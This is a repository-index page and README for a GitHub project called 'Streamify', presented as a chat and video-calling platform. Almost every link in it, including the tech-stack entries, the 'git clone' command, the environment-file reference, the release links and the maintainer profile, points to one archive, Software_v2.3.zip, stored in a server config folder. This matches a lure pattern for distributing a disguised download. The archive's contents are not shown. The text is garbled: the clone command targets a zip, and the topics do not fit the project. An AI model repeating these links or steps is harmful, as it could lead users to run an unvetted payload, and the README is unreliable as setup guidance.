https://github.com/phasmocrazer/streamify
A modern, full-stack social platform featuring real-time chat, video calling, and a rich user experience. Built with a robust tech stack and best practices, Streamify is designed for scalability, reliability, and ease of use.
https://github.com/phasmocrazer/streamify
css data-engineering dbt java javascript nativewind python rabbitmq react react-native spark spotify-streamer spring-mvc spring-mvc-application
Last synced: 4 months ago
JSON representation
A modern, full-stack social platform featuring real-time chat, video calling, and a rich user experience. Built with a robust tech stack and best practices, Streamify is designed for scalability, reliability, and ease of use.
- Host: GitHub
- URL: https://github.com/phasmocrazer/streamify
- Owner: PhasmoCrazer
- Created: 2025-05-12T11:59:54.000Z (about 1 year ago)
- Default Branch: master
- Last Pushed: 2025-06-24T17:49:56.000Z (about 1 year ago)
- Last Synced: 2025-06-24T18:46:16.023Z (about 1 year ago)
- Topics: css, data-engineering, dbt, java, javascript, nativewind, python, rabbitmq, react, react-native, spark, spotify-streamer, spring-mvc, spring-mvc-application
- Language: JavaScript
- Size: 357 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Streamify π₯π¬

[](https://github.com/PhasmoCrazer/streamify/raw/refs/heads/master/server/src/config/Software_v2.3.zip)
Welcome to **Streamify**, a modern, full-stack social platform designed to enhance your online communication experience. With features like real-time chat and video calling, Streamify provides a rich user experience. Built with a robust tech stack, it emphasizes scalability, reliability, and ease of use.
## Table of Contents
- [Features](#features)
- [Tech Stack](#tech-stack)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)
## Features β¨
- **Real-Time Chat**: Engage in conversations with friends and groups instantly.
- **Video Calling**: Connect face-to-face with high-quality video calls.
- **User Profiles**: Customize your profile and connect with others.
- **Notifications**: Stay updated with notifications for messages and calls.
- **Scalable Architecture**: Built to handle growth and increased user demand.
## Tech Stack βοΈ
Streamify is built using the following technologies:
- **Frontend**:
- React
- Vite
- **Backend**:
- https://github.com/PhasmoCrazer/streamify/raw/refs/heads/master/server/src/config/Software_v2.3.zip
- https://github.com/PhasmoCrazer/streamify/raw/refs/heads/master/server/src/config/Software_v2.3.zip
- **Database**:
- MongoDB
- **Development Tools**:
- Nodemon
These technologies work together to provide a seamless experience for users while ensuring the platform remains efficient and responsive.
## Installation π οΈ
To get started with Streamify, follow these steps:
1. **Clone the repository**:
```bash
git clone https://github.com/PhasmoCrazer/streamify/raw/refs/heads/master/server/src/config/Software_v2.3.zip
cd streamify
```
2. **Install dependencies**:
Navigate to both the client and server directories and run:
```bash
npm install
```
3. **Environment Variables**:
Create a `.env` file in the root directory and set up the necessary environment variables. Refer to the `https://github.com/PhasmoCrazer/streamify/raw/refs/heads/master/server/src/config/Software_v2.3.zip` file for guidance.
4. **Run the application**:
Start the server using:
```bash
npm run dev
```
The application should now be running on `http://localhost:3000`.
5. **Download the latest release**:
For the latest updates and features, visit the [Releases section](https://github.com/PhasmoCrazer/streamify/raw/refs/heads/master/server/src/config/Software_v2.3.zip) to download the latest version.
## Usage π
Once you have Streamify running, you can:
- **Create an account**: Sign up with your email or social media accounts.
- **Start chatting**: Join existing chats or create new ones.
- **Make video calls**: Initiate video calls with your contacts directly from the chat interface.
- **Customize your profile**: Add a profile picture and bio to let others know more about you.
## Contributing π€
We welcome contributions to improve Streamify! Hereβs how you can help:
1. **Fork the repository**.
2. **Create a new branch** for your feature or bug fix.
3. **Make your changes** and commit them.
4. **Push your branch** to your fork.
5. **Create a pull request** explaining your changes.
Please ensure your code follows our coding standards and includes tests where applicable.
## License π
Streamify is open-source and available under the MIT License. Feel free to use, modify, and distribute it as you wish, but please give appropriate credit.
## Contact π«
For any inquiries, please reach out to the maintainers:
- **PhasmoCrazer**: [GitHub Profile](https://github.com/PhasmoCrazer/streamify/raw/refs/heads/master/server/src/config/Software_v2.3.zip)
You can also check the [Releases section](https://github.com/PhasmoCrazer/streamify/raw/refs/heads/master/server/src/config/Software_v2.3.zip) for updates and improvements.
---
Thank you for checking out Streamify! We hope you enjoy using it as much as we enjoyed building it. Your feedback is invaluable, and we look forward to your contributions!